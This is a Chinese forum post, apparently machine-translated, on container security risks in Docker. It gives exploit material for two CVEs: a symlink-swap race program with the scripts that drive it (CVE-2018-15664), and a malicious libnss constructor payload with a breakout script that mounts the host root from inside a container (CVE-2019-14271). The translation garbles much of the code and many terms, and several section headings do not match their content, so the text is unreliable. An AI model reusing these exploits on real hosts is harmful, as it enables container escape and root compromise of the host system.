H

容器安全

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

容器基础设施的安全风险分析​

在云本机生态系统中已经有许多不同的容器运行时实现,但是考虑到稳定性和广泛使用,以下是与Docker作为示例进行分析。
202111101917031.webp-water_print

分析来自六个方面的容器基础架构的可能风险,包括容器镜像,活动容器,容器网络,容器管理接口,主机操作系统和软件漏洞。

1 针对容器开发测试过程中的攻击案例​

1.1 背景​

Docker CP命令
Docker CP命令用于在Docker创建的容器和主机文件系统之间复制文件或目录。
符号链接
符号链接- 软连接。类似于Windows上的快捷方式
在Linux中创建符号链接:
1
ln -s target_path link_path

1.2 CVE-2018-15664 - 符号链接替换漏洞​

受影响的版本:Docker在17.06.0-ce sc17.12.12.1-CE:RC2,18.01.01.0-CE ~1C 3:RC2版本中受此漏洞的影响
010-1011漏洞POC参考PAC文件由作者Aleksa Sarai发布:https://seclists.org/oss-sec/2019/q2/131
CVE-2018-15664实际上是一个TOCTOU(检查时间)问题。用户执行Docker CP命令时,Docker守护程序会收到请求,并将检查用户给出的复制路径。如果路径中的容器内部有一个符号链接,则容器现在将其解析到相应的路径字符串中,并保留以供以后使用。
如果攻击者在Docker Daemon检查复制路径时放置一个常规文件或目录,该文件或目录完成了复制路径,并且在检查完成后,攻击者将在Docker Daemon使用PATHAMEN使用PATH之前用符号链接代替它,则符号链接将在主机上打开时将其解析,从而在主机上解析,从而导致目录在Directory Traversal traversal traversal中。

1.2.1 原理​

使用Metaget快速构建CVE-2018-15664环境:
1
./metarget CNV安装CVE-2018-15664
下载并解开POC
202111101858440.png-water_print

其中,构建目录包含用于编译EXP的Dockerfile和漏洞源代码SYMLINK_SWAP.C
注意
构建图像时,在容器中安装GCC时会发生错误。您可以首先在主机上编译SYMLINK_SWAP,然后将其复制到容器中。
修改后的Dockerfile:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#构建二进制。
来自Opensuse/Tumbleweed
#在-y gcc glibc-devel静态中运行zypper
运行mkdir /builddir
复制SYMLINK_SWAP.C /BUILDDIR/SYMLINK_SWAP.C
#运行GCC -WALL -WERROR -STATIC -LPTHREAD -O /builddir /symlink_swap /builddir/symlink_swap.c.c
复制SYMLINK_SWAP /buildDir /symlink_swap
#设置我们的恶意rootfs。
来自Opensuse/Tumbleweed
arg symswap_target=/w00t_w00t_im_a_flag
arg symswap_path=/完全_safe_path
运行回声'失败- 内部容器路径''$ SYMSWAP_TARGET'
复制-from=0 /builddir /symlink_swap /symlink_swap
入口处['/symlink_swap']
Dockerfile的主要内容是构建一个漏洞利用,将其放在容器的根目录中,并在根目录中创建W00T_W00T_IM_A_FLAG文件,其中内容:失败- 内部容器路径。启动容器后执行的程序(入口处)为:SYMLINK_SWAP。
SYMLINK_SWAP.C内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/*
*现在创建一个符号链接到'/'(如果我们
*赢得比赛)和stash_path的虚拟目录,以供我们交换。
*我们使用目录来删除减少Enotdir的可能性
*我们获胜的机会。
*/
if(symlink('/',symlink_path)0)
保释('CREATE SYMLINK_PATH');
if(mkdir(stash_path,0755)0)
保释('mkdir stash_path');
/*现在我们永远执行Rename_exchange。 */
为了(;) {
int err=renameat2(at_fdcwd,symlink_path,
at_fdcwd,stash_path,rename_exchange);
如果(err 0)
perror('Symlink_Swap:重命名交换失败');
}
返回0;
}
在容器中创建指向根目录的符号链接,并不断交换符号链接的名称(从命令行参数传递,例如“ totaly_safe_path”)和一个正常目录(例如“ totaly_safe_path stashed”)。
run_read.sh :实现一个读取主机文件内容的shell脚本
run_write.sh :实现在主机上写文件的shell脚本
以run_write.sh为例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
symswap_path=/eleaster_safe_path
symswap_target=/w00t_w00t_im_a_flag
#创建我们的标志。
Echo'失败- 主机文件不变'| sudo tee'$ symswap_target'
sudo chmod 0444'$ symswap_target'
#运行并构建恶意图像。
docker build -t cyphar/symlink_swap \
-build-arg'symswap_path=$ symswap_path'\
-build-arg'symswap_target=$ symswap_target'构建/
ctr_id=$(docker run -rm -d cyphar/symlink_swap'$ symswap_path')
回声'成功- 主机文件更改'| T恤LocalPath
#现在不断尝试复制文件。
虽然是真的

docker cp localpath'$ {ctr_id} : $ symswap_path/$ symswap_target'
完毕
启动run_write.sh后,恶意容器运行,然后连续执行Docker CP命令
202111101901056.png-water_print

1.2.2 漏洞复现​

Impact Docker 19.03.x 19.03.1之前

1.3 CVE-2019-14271​

Docker CP命令所取决于的Docker-TAR组件将在容器内加载NSSWitch动态链接库。攻击者可以通过在容器内劫持NSSWITCH并在主机上获得ROOT权限的代码执行功能来实现代码注入。
用户执行Docker CP后,Docker Daemon启动Docker-Tar进程以完成复制。将“从容器中的文件复制到主机为示例”,它将将进程的根目录(Execute Chroot)切换到容器根目录,包装需要复制的文件,然后将其传递给Docker Daemon,该文件负责将内容解析为用户指定的主机目标路径。
Chroot的操作主要是为了避免由符号链接引起的路径交叉问题,但是Docker-Tar的脆弱版本将加载必要的动态链接库,主要是从libness_开头的NSSWitch动态链接库。 Chroot切换根目录后,Docker-Tar将在容器内加载动态链接库。
脆弱性开发过程如下:
找出哪些容器Docker-Tar将加载动态链接库。
下载相应的动态链接库源代码,然后使用attribute属性添加函数run_at_link(加载动态链接库时,首先执行此函数)
等待Docker CP触发漏洞

1.3.1 原理​

010-10确定Docker CP执行中使用了哪些容器。
在脆弱的码头环境中,创建一个容器:
1
docker run -itd -name=test ubuntu
在主机上找到容器的绝对路径:
1
Docker Exec- IT测试CAT /PROC /MOUNTS | Grep Docker
返回的结果包括:
1
WorkDir=/var/lib/docker/Overlay2/42549FA40947A72BC4F3AE8B8676297D774D4FE2F8AFB7122717548B0686861D85/工作
容器在主机上的绝对路径是:/var/lib/docker/Overlay2/42549FA40947A72BC4F3AEE8B8676297D774D4FE2F8AFB71227122717548B068686861D85/MER MERGEN
安装监视文件:
1
APT安装iNotify-tools
监视文件夹:
1
InotifyWait -Mr/var/lib/docker/Overlay2/42549FA40947A72BC4F3AE8B8676297D774D4FE2F8AFB7122717548B0686861D85/MERGEN/MERGEN/LIB/LIB
执行Docker CP
1
Docker CP Test:/etc/passwd ./
202111111535776.png-water_print

您可以看到libnss_files-2.31.SO已加载

1.3.2 漏洞复现​

libnss _*。全部在glibc中。首先将GLIBC库下载到当地。
首先,您需要评论gccwarn-c=-wstrict-prototypes -wold-style-definition,以避免添加有效载荷后汇编失败。
202111111540158.png-water_print

将有效载荷添加到./nss/nss_files目录中的任何源文件。以Files-Service.c为例。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//内容应添加到NSS/NSS_FIELS/FILES-SERVICE.C中
#include sys/types.h
#include unistd.h
#include stdio.h
#include sys/wait.h
#原始libnss_files.so.2容器内部的文件备份位置
#define ointern_libnss'/original_libnss_files.so.2'
#恶意libnss_files.so.2文件位置
#define libnss_path'/lib/x86_64-linux-gnu/libnss_files.so.2'
bool is_priviliged();
attribute(((构造))void run_at_link(void){
char * argv_break [2];
//确定集装箱外是否有高级权限执行,即Docker-Tar
if(!is_priviliged())
返回;
//攻击可以执行一次,备份库文件被原始文件替换
//避免随后的环境影响
重命名(Original_libnss,libnss_path);
//将/突破性恶意脚本作为docker-tar
如果(!fork()){
//孩子跑分突围
argv_break [0]=strdup('/breakout');
argv_break [1]=null;
execve('/breakout',argv_break,null);
}
别的
等待(null); //等孩子
返回;
}
bool is_priviliged(){
文件* proc_file=fopen('/proc/self/exe','r');
如果(proc_file!=null){
fclose(proc_file);
返回false; //可以打开So /Proc,而不是特权
}
返回true; //我们在Docker-Tar的背景下运行
}
汇编:
1
2
3
4
5
6
7
8
9
10
11
12
13
#目录结构:
- gnu
-GLIBC-2.27
- glibc-build
#安装野牛
APT安装野牛
#创建一个新的glibc-build目录
mkdir glibc-build
#您必须转到上层目录才能配置,否则将报告错误
./glibc-2.27/glibc-build/configure -prefix=/usr/
#汇编
〜/glibc-2.27/glibc-build

1.3.2.1 确定目标​

突破文件:
将Procfs伪文件系统安装到容器中,然后将带有PID 1的根目录/proc/1/root绑定到容器中。
1
2
3
4
5
6
7
8
9
#!/bin/bash
umount /host_fs rm -rf /host_fs
mkdir /host_fs
MOUNT -T not none /proc#安装主机的procfs /proc
CD/PROC/1/root#chdir的主机根
安装- 绑扎。 /host_fs#安装主机root at /host_fs
首先创建受害者容器:
1
Docker Run -Itd -name=受害者Ubuntu
将突破脚本放在受害者容器的根目录中。
1
Docker CP ./Breakout受害者:/突破
输入容器,然后移动libns_files.so.2符号链接指向/lib /x86_64-linux-gnu下的库文件,然后将其重命名为Original_libnss_files.so.2。您可以使用以下命令查看:
1
2
3
readlink/lib/x86_64-linux-gnu/libnss_files.so.2
mv /lib/x86_64-linux-gnu/libnss_files.so.2 /original_libnss_files.so.2
最后,重命名为libnss_files.so.2的构建的恶意libnss_files.so.2,然后将其放入/lib /x86_64-linux-gnu下的容器中。
模拟用户执行Docker CP操作:
1
Docker CP受害者:/etc/passwd ./
执行后,触发了漏洞,并且可以在容器内看到已安装的/host_fs,并且/etc /hostName显示主机的主机名。
202111111706164.png-water_print

1.3.2.2 构建动态链接库​

从用户的角度来看,就采集方法而言,我们将容器图像分为“从公共仓库获得”和“从私人仓库中获取”。因此,对于从公共仓库获得的图像,两个最重要的漏洞问题:一方面,这是镜子中软件的安全漏洞;另一方面,镜子中的采矿计划,后门计划,病毒,特洛伊斯和其他恶意程序。

1.3.2.3 逃逸​

镜像漏洞是指在图像本身中存在漏洞时通常存在使用图像创建和运行的容器。
对于同样的漏洞,攻击者在镜子中使用漏洞来攻击容器,这通常会以一半的努力产生两倍的结果。
例如,高山是建立在Musl Libc和Busybox上的轻质Linux发行版。依靠
由于其尺寸很小,因此基于高山的软件非常受欢迎。但是,高山镜子曾经暴露出脆弱性:CVE-2019-5021。在3.3至3.9的高山图像中,root用户密码设置为空,并且攻击者可以在闯入容器后将攻击者晋升为容器内部的根本权限。
对此的官方回应是,高山图像使用BusyBox作为核心工具链,并使用/etc /Security
限制可以登录root用户的TTY设备。除非用户积极安装Shadow和Linux-PAM来替换默认工具链,否则此漏洞不容易利用。
但是,安全保护着重于综合性,并具有明显的短期影响。如果用户真正替换了某些需求的默认工具链怎么办?然后,进入容器的攻击者可以在此漏洞的帮助下直接获得容器内部的根本权限。
1
2
3
4
形式Alpine:3.5
运行APK添加-No-Cache Shadow
运行adduser -s non_root
用户non_root

2 针对容器软件供应链的攻击案例​

镜像中毒是一个广泛的话题。它是指使用某些方法(例如将恶意图像上传到公开)的攻击者
在仓库或入侵系统之后,将镜子上传到受害者的本地存储库,修改图像名称并伪造正常图像等,欺骗并诱使受害者使用攻击者指定的恶意图像来创建和运行容器,从而实现入侵或利用受害者的主人进行恶意活动。
根据目的,有三种常见的镜子中毒类型:恶意采矿图像的放置,恶意后门图像的放置以及恶意剥削图像的放置

2.1 镜像漏洞利用​

2.2 镜像投毒​

Docker已将容器运行时的黑名单机制更改为当前默认禁止所有功能的禁令,然后将白名单列出了运行容器所需的最低权限。截至撰写本文时,Docker默认情况下授予了近40个权限中的容器14:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func defaultcapabilities()[] String {
返回[]字符串{
'cap_chown',
'cap_dac_override',
'cap_fsetid',
'cap_fowner',
'cap_mknod',
'cap_net_raw',
'cap_setgid',
'cap_setuid',
'cap_setfcap',
'cap_setpcap',
'cap_net_bind_service',
'cap_sys_chroot',
'cap_kill'
 
后退
顶部